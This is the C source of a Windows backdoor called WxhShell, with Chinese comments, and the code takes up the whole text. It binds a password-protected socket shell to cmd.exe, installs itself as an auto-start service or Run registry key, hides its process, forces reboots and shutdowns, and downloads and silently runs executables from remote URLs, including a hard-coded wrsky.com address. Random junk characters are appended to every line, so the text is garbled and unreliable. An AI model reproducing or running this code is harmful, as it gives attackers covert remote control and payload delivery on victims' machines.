    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3a#X:?  
    if(Boot(SHUTDOWN)) fwvPh&U&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &n:3n  
    else { }~gBnq_DDU  
    closesocket(wsh); S0X %IG  
    ExitThread(0); s"1:#.u  
    } "r@f&Ssxb  
    break; G55-{y9Q  
    }  B _;W!  
  // 获取shell B I9~% dm  
  case 's': { f n]rMH4>  
    CmdShell(wsh); kaSi sjd  
    closesocket(wsh); @  s  
    ExitThread(0); w7n6@"q  
    break; WH`E=p^x4  
  } 'n'83d)z  
  // 退出 J LOTl.  
  case 'x': { V=#L@ws  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Sw##C l#  
    CloseIt(wsh); f"^G\  
    break; Y6LoPJ  
    } ?~G D^F  
  // 离开 X6_m&~}15  
  case 'q': { UdBP2lGd  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \9[_*  
    closesocket(wsh); hVvPI1[2  
    WSACleanup(); H)XHlO^  
    exit(1); 45cMG~]p  
    break; f<!3vAh  
        } fBgW0o.Bu  
  } ^T}6o Ud  
  } &zVF!xNy&  
*.g0;\HF  
  // 提示信息 B o@B9/ABv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }1EfyR  
} UzLe#3MU  
  } hAHZN^x&  
:Ja]Vt  
  return; \U^0E> d  
} fC!]MhA"i  
1Ql\aO)  
// shell模块句柄 >3R%GNw  
int CmdShell(SOCKET sock) XhF7%KR  
{ V{51wnxT  
STARTUPINFO si; lZpa)1.tiC  
ZeroMemory(&si,sizeof(si)); jY.iQBhjEB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7|~j=,HU+Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3:q\]]]S  
PROCESS_INFORMATION ProcessInfo; BIx Z4Ft  
char cmdline[]="cmd"; >s\j/yM  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )ESF)aKMiz  
  return 0; 5o2W[<%v  
} TF)OBN~/  
&?.k-:iN  
// 自身启动模式 h/9{E:ML  
int StartFromService(void) 4J lB\8rc  
{ l.tNq$3pS  
typedef struct 6mH0|:CsY  
{ 7nh,j <~;2  
  DWORD ExitStatus; aOWE\I c8  
  DWORD PebBaseAddress; ! E\xn^  
  DWORD AffinityMask;  ;d"F'd  
  DWORD BasePriority;  ZzDE  
  ULONG UniqueProcessId; 7C7eX J9q  
  ULONG InheritedFromUniqueProcessId; {~=Edf  
}   PROCESS_BASIC_INFORMATION; u&Ze$z  
!ueyVE$1  
PROCNTQSIP NtQueryInformationProcess; cO$ PK  
wKe$(>d"L  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4H 4U  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &"bcI7uGT  
aL63=y  
  HANDLE             hProcess; MMs#Y1dH  
  PROCESS_BASIC_INFORMATION pbi; 3q*y~5&I  
Z<@Kkbj  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <|= UrG  
  if(NULL == hInst ) return 0; R#ayN*  
3?Ckk{)&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); e=b>:n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qMD!No  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); MPt:bf#  
bv&A)h"S  
  if (!NtQueryInformationProcess) return 0; l V[d`%(  
{3RY4HVT?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `N 0Mm7  
  if(!hProcess) return 0; 'n> ,+,&  
L4th 7#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]fH U/%  
"*o54z5"  
  CloseHandle(hProcess); y( M-   
_I;+p eq  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); L,Jl# S  
if(hProcess==NULL) return 0; /I2RU2|B  
#bX~.jKW  
HMODULE hMod; ?`+46U%  
char procName[255]; m>4jRr6sF  
unsigned long cbNeeded; Y)@mL~){  
I>k >^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^WDAW#f*<  
)+]8T6~ N  
  CloseHandle(hProcess); q$vATT  
: `D[0  
if(strstr(procName,"services")) return 1; // 以服务启动 l#P)9$%  
LM:|Kydp3  
  return 0; // 注册表启动 K/;FP'.  
} x <^vJ1  
iV X12  
// 主模块 ,#G>&  
int StartWxhshell(LPSTR lpCmdLine) 6< x0e;>  
{ 2UYtFWB9o  
  SOCKET wsl; #E`-b9Q  
BOOL val=TRUE; Z5aU7  
  int port=0; A^+G w\  
  struct sockaddr_in door; fFD:E} >5  
?haN ;n6'  
  if(wscfg.ws_autoins) Install(); Y40Hcc+Fx  
%x_c2  
port=atoi(lpCmdLine); %GUu{n<6  
\VmqK&9   
if(port<=0) port=wscfg.ws_port; 5ru&In&  
C2GF N1i  
  WSADATA data; I8r5u=PH  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X#9}|rT56  
b-e3i;T!}~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1(C3;qlVD  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &Mz3CC6  
  door.sin_family = AF_INET; y7#$:+jQv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); zNT~-  
  door.sin_port = htons(port); a`5ODW+  
k|W=kt$P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'LZF^m _<<  
closesocket(wsl); b#h?O}  
return 1; Uq/#\7/rL  
} !4uTi [e  
f(.@]eu X  
  if(listen(wsl,2) == INVALID_SOCKET) { $Xf1|!W%a%  
closesocket(wsl); 6x KbK1W  
return 1; }>vf(9sF`  
} wD>tR SW  
  Wxhshell(wsl); SX)giQLU  
  WSACleanup(); c)8V^7=Q  
&0*l=!:G^  
return 0; }J}a;P4  
c-z 2[a8  
} -L>\58`  
MCHRNhb9  
// 以NT服务方式启动 q0Fq7rWP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ZN!OM)@:!  
{ ?vL\VI9  
DWORD   status = 0; =G9%Hz5~:  
  DWORD   specificError = 0xfffffff; a~YFJAkg9  
L-_dq0T  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0;z-I"N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [.DSY[!8U  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  (A 2x  
  serviceStatus.dwWin32ExitCode     = 0; Y(IT#x?p  
  serviceStatus.dwServiceSpecificExitCode = 0; Vm.&JVb  
  serviceStatus.dwCheckPoint       = 0; UF)rBAv(/  
  serviceStatus.dwWaitHint       = 0; Zd@'s.,J  
LO@.aJpp  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %Kd&A*  
  if (hServiceStatusHandle==0) return; ,]@K6  
q;3,}emg  
status = GetLastError(); kYBTmz} z  
  if (status!=NO_ERROR) }B2H)dG^K  
{ MdK!Y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Tyu]14L  
    serviceStatus.dwCheckPoint       = 0; 4?XX_=+F|  
    serviceStatus.dwWaitHint       = 0; c^P8)g Pf  
    serviceStatus.dwWin32ExitCode     = status; _[8xq:G  
    serviceStatus.dwServiceSpecificExitCode = specificError; [^r0red  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); iorKS+w"  
    return; sZFIQ)b9  
  } F/9]{H  
}OO(uC2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; vlCjh! x  
  serviceStatus.dwCheckPoint       = 0; o Xwoi!  
  serviceStatus.dwWaitHint       = 0; KN U/Kc#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); U#G[#sd> K  
} A0.) =q  
2UY0:y  e  
// 处理NT服务事件,比如:启动、停止 V^aX^;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?&Si P-G  
{ JDv7jy  
switch(fdwControl) K[RlR+j  
{ xP 3_  
case SERVICE_CONTROL_STOP: S/-[OA>N  
  serviceStatus.dwWin32ExitCode = 0; TkhbnO g6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >T{9-_#P  
  serviceStatus.dwCheckPoint   = 0; Tz.!  
  serviceStatus.dwWaitHint     = 0; $Tu%dE(OF  
  { wVk2Fr(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kvs^*X''Ep  
  } R`ajll1  
  return; =O~1L m;  
case SERVICE_CONTROL_PAUSE: 2%0z PflT  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; x8%Q TTY  
  break; }xTTz,Oj$  
case SERVICE_CONTROL_CONTINUE: |33pf7o  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; j>~^jz:  
  break; uy\< t  
case SERVICE_CONTROL_INTERROGATE: T/G1v;]  
  break; Mj |)KDL  
}; Ixm< wKwW#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6}mbj=E`  
} " |RP_v2  
<4}zl'.  
// 标准应用程序主函数 /b,M492  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `L`*jA+_  
{ '5wa"/ ?w  
uRG0} >]|U  
// 获取操作系统版本 [P)'LY6F  
OsIsNt=GetOsVer(); =-jkp  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (V @g?|LZ  
&'V_80vA  
  // 从命令行安装 x|*v(,7b]!  
  if(strpbrk(lpCmdLine,"iI")) Install(); *A2J[,?c  
gWA)V*}f  
  // 下载执行文件 +B^ / =3P  
if(wscfg.ws_downexe) { aB<~T[H%h  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) UK+;/Mtg  
  WinExec(wscfg.ws_filenam,SW_HIDE); yCkfAx8 ]  
} '-3AWBWI1  
!>b>"\b  
if(!OsIsNt) { i`7{q~d=  
// 如果时win9x,隐藏进程并且设置为注册表启动 iaXNf ])?  
HideProc(); P{5p'g ,  
StartWxhshell(lpCmdLine); t,= ta{ a  
}  Z_F:H@-&  
else .:Bjs*  
  if(StartFromService()) wl2rw93  
  // 以服务方式启动 /A\'_a|  
  StartServiceCtrlDispatcher(DispatchTable); s`xp6\$  
else E-_)w  
  // 普通方式启动 '{XDhK  
  StartWxhshell(lpCmdLine); :k8>)x] )  
*MW)APw=  
return 0; UTKS<.q  
} 3sc5meSu'  
G40,KCa  
NUiZ!&  
n )YNt  
=========================================== cyA|6Ltg%  
CeS8I-,  
}!\NdQs  
E4[ |=<  
Xhtc0\0"(  
*c7kB}/  
" %]nY v#K  
D|Wekhm  
#include <stdio.h> ]B=B@UO@.  
#include <string.h> <(`dU&&%"}  
#include <windows.h> 7&XU]I  
#include <winsock2.h> %!%3jo0t  
#include <winsvc.h> +oBf\!{cW  
#include <urlmon.h> r4dG83qg  
WGKN>nV  
#pragma comment (lib, "Ws2_32.lib") ][S<M24]Q  
#pragma comment (lib, "urlmon.lib") LgRx\*[C*  
"5%G [MB  
#define MAX_USER   100 // 最大客户端连接数 ^ $Q',  
#define BUF_SOCK   200 // sock buffer <F+S}!q  
#define KEY_BUFF   255 // 输入 buffer mfFC@~|g  
#9}KC 9f  
#define REBOOT     0   // 重启 QD]Vfj4+  
#define SHUTDOWN   1   // 关机 >T;"bc b  
]Gow  
#define DEF_PORT   5000 // 监听端口 [' R2$z  
PKT0Drv}c7  
#define REG_LEN     16   // 注册表键长度 ?H eC+=/Z  
#define SVC_LEN     80   // NT服务名长度 SPOg'  
~!meO;|W  
// 从dll定义API pA3j@w  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &tw.]3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r!V#@Md  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); U`K5 DZ~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); uzG<(Q pu  
l*uNi47|  
// wxhshell配置信息 `GC7o DL  
struct WSCFG { ir qlU  
  int ws_port;         // 监听端口 J)A1`(x&T  
  char ws_passstr[REG_LEN]; // 口令 'e02rqip{  
  int ws_autoins;       // 安装标记, 1=yes 0=no HKv:)h{ ?  
  char ws_regname[REG_LEN]; // 注册表键名 QW6F24  
  char ws_svcname[REG_LEN]; // 服务名 dr^pzM!N  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 dm,7OQ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,$Qa]UN5Q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 QX ishHk&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v3Tr6[9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wfM$JYfI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @!'Pr$`  
c_}i(HQ  
}; rOyK==8/Fg  
IGEf*!  
// default Wxhshell configuration Namw[Tg J  
struct WSCFG wscfg={DEF_PORT, C>$5<bx  
    "xuhuanlingzhe", ,d)!&y  
    1, vrm[sP  
    "Wxhshell", K+dkImkh  
    "Wxhshell", AR`X2m '  
            "WxhShell Service", 7A8jnq7m/  
    "Wrsky Windows CmdShell Service", eHF#ME  
    "Please Input Your Password: ", I8gGP'  
  1, eJilSFp1  
  "http://www.wrsky.com/wxhshell.exe", 1d7oR`qr  
  "Wxhshell.exe" + htTrHjt  
    }; c 6}d{B[  
JTNQz  
// 消息定义模块 /tc*jXB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; dn$1OhN8M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `"H!=`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; e{:P!r aM  
char *msg_ws_ext="\n\rExit."; d,iW#,  
char *msg_ws_end="\n\rQuit."; ( Z\OqG  
char *msg_ws_boot="\n\rReboot..."; 5,I'6$J  
char *msg_ws_poff="\n\rShutdown..."; 'Z+w\0}@  
char *msg_ws_down="\n\rSave to "; g)!B};AA  
9bl&\Ykt.  
char *msg_ws_err="\n\rErr!"; Ah='E$t  
char *msg_ws_ok="\n\rOK!"; +Qt=N6>  
/>Tyiy]2uu  
char ExeFile[MAX_PATH]; i]Lt8DiRq  
int nUser = 0; `/f9 mn  
HANDLE handles[MAX_USER]; C 6Bh[:V&  
int OsIsNt; 2uZ <q?=  
:1q+[T/ @  
SERVICE_STATUS       serviceStatus; A1{P"p!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (u@[}!  
.6xP>!E}Q  
// 函数声明 ,E3"Ai sI  
int Install(void); {r`l  
int Uninstall(void); zwN;CD1  
int DownloadFile(char *sURL, SOCKET wsh); -dsB@nPiUw  
int Boot(int flag); 2WIL0Siwl  
void HideProc(void); Pr{?A]dQ  
int GetOsVer(void); ?Bq"9*q  
int Wxhshell(SOCKET wsl); :7D&=n)  
void TalkWithClient(void *cs); jRm:9`.Q  
int CmdShell(SOCKET sock); ]NNLr;p  
int StartFromService(void); pM@|P,w {  
int StartWxhshell(LPSTR lpCmdLine); as)2ny!u  
v{i'o4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !(*mcYA*W  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); gq*- v:P>  
zPe4WE|  
// 数据结构和表定义 R/waWz\D  
SERVICE_TABLE_ENTRY DispatchTable[] = %'kaNpBz  
{ v$K`C;  
{wscfg.ws_svcname, NTServiceMain}, (;$ J5  
{NULL, NULL} Vg#s  
}; ^5qX+!3r{  
] ^to r  
// 自我安装 AT<gV/1l  
int Install(void) 00Tm0rY  
{ sD1L P  
  char svExeFile[MAX_PATH]; ^*`{W4e]  
  HKEY key; bEV 9l  
  strcpy(svExeFile,ExeFile); Z 7t0=U  
mAhtC*  
// 如果是win9x系统,修改注册表设为自启动 pL]C]HGv  
if(!OsIsNt) { C.C)&&|X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H4 Ca+;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >^Klq`"?g=  
  RegCloseKey(key); 5znLpBX<N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r[vMiVb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X, <&#l  
  RegCloseKey(key); iJ~5A'?6  
  return 0; [3nhf<O  
    } S5@/;T  
  } 9qIUBHe  
}  $Tfq9  
else { ZwAX+0  
yHurt>8b[  
// 如果是NT以上系统,安装为系统服务 y<m{eDV7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); S6B(g_D|  
if (schSCManager!=0) k;3Bv 6  
{ GfUIF]X  
  SC_HANDLE schService = CreateService &32qv` V_  
  ( ;DL|%-%;$r  
  schSCManager, b,Ed}Ir  
  wscfg.ws_svcname, /R^HRzTO  
  wscfg.ws_svcdisp, nZfTK>)A0  
  SERVICE_ALL_ACCESS, {:IOTy  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , GxLoNVr  
  SERVICE_AUTO_START, (ivV[  
  SERVICE_ERROR_NORMAL, 8 2&JYx  
  svExeFile, V5i_\A  
  NULL, QUaz;kNC7  
  NULL, #StD]d  
  NULL, X"(!\{ySI;  
  NULL, I--WS[  
  NULL *;7&  
  ); r62x*?/  
  if (schService!=0) ;Z-Cn.  
  { z:^Kr"=n  
  CloseServiceHandle(schService); lN,b@;  
  CloseServiceHandle(schSCManager); >a%NC'~rc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); N:)`+}  
  strcat(svExeFile,wscfg.ws_svcname); ]}<.Y[!S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !w[<?+%%n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `=^29LC#  
  RegCloseKey(key);  $hPAp}  
  return 0; gT<E4$I69  
    } Ig'Y]%Z0  
  } K)]7e?:Wu  
  CloseServiceHandle(schSCManager); FZ #ngrT  
} WVftLIJ  
} r[eZV"  
k*-_CO-h  
return 1; 8d-; ;V  
} 25l6@7q.  
+>.plvZhu  
// 自我卸载 G#HbiVH9  
int Uninstall(void) H.7gSB1  
{ ?Gp~i]  
  HKEY key; v>c[wg9P  
ldM [8  
if(!OsIsNt) { Oe'Nn250  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c#OZ=`  
  RegDeleteValue(key,wscfg.ws_regname); 0Q;T <% U  
  RegCloseKey(key); )*G3q/l1u6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M`FsKK`  
  RegDeleteValue(key,wscfg.ws_regname); [])M2_  
  RegCloseKey(key); O*z x{a6  
  return 0; 022YuqL<v  
  } gu/eC  
} Gu V -[  
} doFp53NhV  
else { 3LG}x/l  
1i_~ZzX8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); x]euNa  
if (schSCManager!=0) Eof1sTpA  
{ "]LNw=S  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); kNI m90,g  
  if (schService!=0) 7t\kof  
  { V{HZ/p_Y  
  if(DeleteService(schService)!=0) { 8q)2 )p  
  CloseServiceHandle(schService); `-\4Dx1!q  
  CloseServiceHandle(schSCManager); Z%`} `(  
  return 0; .'lc[iI9)d  
  } Bo`fy/x#  
  CloseServiceHandle(schService); go]d+lhFB  
  } |^S[Gr w  
  CloseServiceHandle(schSCManager); gET& +M   
} ]b'K BAMy  
} iEr|?,  
7_S+/2}U*  
return 1; $P^=QN5 Bb  
} P;VR[d4e/  
56G5JSB=\  
// 从指定url下载文件 ]gI XG`  
int DownloadFile(char *sURL, SOCKET wsh) , ZD!Qb  
{ YM 7P!8Gc  
  HRESULT hr; U @|{RP  
char seps[]= "/"; 8hQ"rrj+  
char *token; #Q^mdv?  
char *file; dDi 1{s  
char myURL[MAX_PATH]; PP.k>zsx  
char myFILE[MAX_PATH]; '$ s:cS`=  
(dpBGt@  
strcpy(myURL,sURL); L0UAS'hf  
  token=strtok(myURL,seps); -njxc{b  
  while(token!=NULL) vO]gj/SaT  
  { ,T|iA/c  
    file=token; oFoG+H"&7\  
  token=strtok(NULL,seps); ~NpnRIt  
  } n j; KnZ  
4-E9a_  
GetCurrentDirectory(MAX_PATH,myFILE); a gBKp!  
strcat(myFILE, "\\"); )Si`>o3T-.  
strcat(myFILE, file); JGn@)!$+/  
  send(wsh,myFILE,strlen(myFILE),0); *W(b=u  
send(wsh,"...",3,0); -3wg9uZ &  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); SQvicZAN)`  
  if(hr==S_OK) y3 LWh}~E  
return 0; 4J!1$   
else cC"7Vt9b  
return 1; 'V4.umj1~  
VEpIAC4  
} &4O"Xs`ka  
CS50wY  
// 系统电源模块 S&_ZQLiQ$  
int Boot(int flag) _]j=[|q 9  
{ cn<9!2a  
  HANDLE hToken; `WWf?g  
  TOKEN_PRIVILEGES tkp; Vn];vN  
VY=~cVkzS  
  if(OsIsNt) { GY@Np^>[a  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); K._1sOw'"Y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,{J2i#g<  
    tkp.PrivilegeCount = 1; _=U XNr8S  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; EIEwrC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {4}Sl^kn*  
if(flag==REBOOT) { V *S|Qy!p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @a%,0Wn  
  return 0; [DGq{(O  
} A"vI6ud>  
else { - CM;sXq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) WVy"MD  
  return 0; N%y%)MI8  
} x~Se-#$  
  } 4z#CkT  
  else { pm5Yc@D  
if(flag==REBOOT) { 9tl Fbu  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) n0 !S;HH-  
  return 0; ai#EFo+#  
} `'0opoQRe  
else { Y)BKRS~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5kC#uk  
  return 0; t,k9:p  
} D@DK9?#  
} 5Tn4iyg;B  
!RiPr(m@y  
return 1; :".!6~:2  
} tHJ1MDw'  
h2=zvD;  
// win9x进程隐藏模块 Qksw+ZjY#{  
void HideProc(void) ;1(OC-2>d  
{ DgClN:Hw  
fQOaTsyA  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %6Hn1'7+v  
  if ( hKernel != NULL ) Gps  
  { t:m t9}$d  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'v6Rd )E\z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6TfXz2D'J  
    FreeLibrary(hKernel); >f`}CLsY  
  } am:LLk-Lx  
w\$b(HC  
return; \sp7[}Sw  
} Q=uwmg86  
dN\pe@#lKP  
// 获取操作系统版本 $PrzJc  
int GetOsVer(void) hH@018+  
{ [POy" O  
  OSVERSIONINFO winfo; Hsp|<;Yg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Qf=%%5+?8  
  GetVersionEx(&winfo); jLb3{}0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >z[d ~  
  return 1; T,WWQm  
  else m#8}!u&  
  return 0; xl# j_d,  
} K VQZ  
I,  
// 客户端句柄模块 !Y\hF|[z  
int Wxhshell(SOCKET wsl) HnOF_Twq  
{ /Zm@.%.  
  SOCKET wsh; ORfA]I-u  
  struct sockaddr_in client; Kl+*Sp!  
  DWORD myID; HF47Lc*c  
3P #1fI(c  
  while(nUser<MAX_USER) z,2m7C  
{ $1Xg[>1g5  
  int nSize=sizeof(client); b[*d i{?-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ve K  
  if(wsh==INVALID_SOCKET) return 1; vP,WV9Q1u  
*}mtVa_|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _10#rucr  
if(handles[nUser]==0) @XmMD6{<  
  closesocket(wsh); ?.4.Ubc\  
else 7[u&%  
  nUser++; -P.) 0d(  
  } sjaG%f&h  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5R o5Cg~  
yM\ 1n  
  return 0; 8, B9y D  
} \OY2|  
}cS3mJ  
// 关闭 socket rNgE/=X  
void CloseIt(SOCKET wsh) 8|J%IE  
{ }>tUkXlhJ<  
closesocket(wsh); j&44wuf  
nUser--; B\<zU  
ExitThread(0); & JF^a  
} aZBaIl6I  
'i`;Frmg  
// 客户端请求句柄 $"_D"/*  
void TalkWithClient(void *cs) Z ,T TI>P  
{ =x[`W9.D  
hob%'Y5%D  
  SOCKET wsh=(SOCKET)cs; V}aXS;(r%  
  char pwd[SVC_LEN]; _oLK" * [#  
  char cmd[KEY_BUFF]; JH?[hb  
char chr[1]; d}WAP m  
int i,j; re^1fv  
0} {QQB  
  while (nUser < MAX_USER) { .@[+05Yw  
qbT].,?!U  
if(wscfg.ws_passstr) { $(_i>&d<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c\RDa|B,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v$,9l+p/  
  //ZeroMemory(pwd,KEY_BUFF); 5gEUE{S  
      i=0; !hJKI.XH  
  while(i<SVC_LEN) { sS+9ly{9J  
Y<kvJb&1*  
  // 设置超时 v"bOv"!al  
  fd_set FdRead; yWX:`*GV  
  struct timeval TimeOut; ^M,Q<HL  
  FD_ZERO(&FdRead); g4-HUc zk  
  FD_SET(wsh,&FdRead); 7v=Nh  
  TimeOut.tv_sec=8; "}ZD-O`!  
  TimeOut.tv_usec=0; 85H8`YwPh  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); . e]!i(5I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3S <5s}  
Y> 7/>x6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LrK6*y,z  
  pwd=chr[0]; P/ug'  
  if(chr[0]==0xd || chr[0]==0xa) { A\ LTAp(I  
  pwd=0; Ct.Q)p-wn  
  break; -M(:z  
  } &d6'$h:kHb  
  i++; vU~#6sl  
    } YZmD:P  
i [FBll-  
  // 如果是非法用户,关闭 socket \y<n{"a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G>H&M#7K  
} .@xwl}o$OL  
Zcf?4{Kd?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); XmXHs4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y]@_DL#J=  
$TR[SMj  
while(1) { tq1h1  
BWQ (>Z"  
  ZeroMemory(cmd,KEY_BUFF); *t*yozN  
Eb#0 -I  
      // 自动支持客户端 telnet标准   *S<>_R 8  
  j=0; c%v%U &  
  while(j<KEY_BUFF) { U?@UIhtM|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sLB{R#Pt  
  cmd[j]=chr[0]; RdvJA:;q  
  if(chr[0]==0xa || chr[0]==0xd) { ]Nm_<%lT  
  cmd[j]=0; {mI95g&  
  break; E8)C_[QJ`  
  } s>_ne0  
  j++; FIW*N r  
    } dGHRHXi  
YSeXCJ:Iy  
  // 下载文件 8)M . W  
  if(strstr(cmd,"http://")) { ^i@tOtS  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); C}W/9_I6Uo  
  if(DownloadFile(cmd,wsh)) BQ".$(c q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); s8 3_Bd  
  else )e Ub@Eu  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UWmWouA  
  } gLu#M:4N  
  else { m&o&XVC  
PcJ,Y\"[  
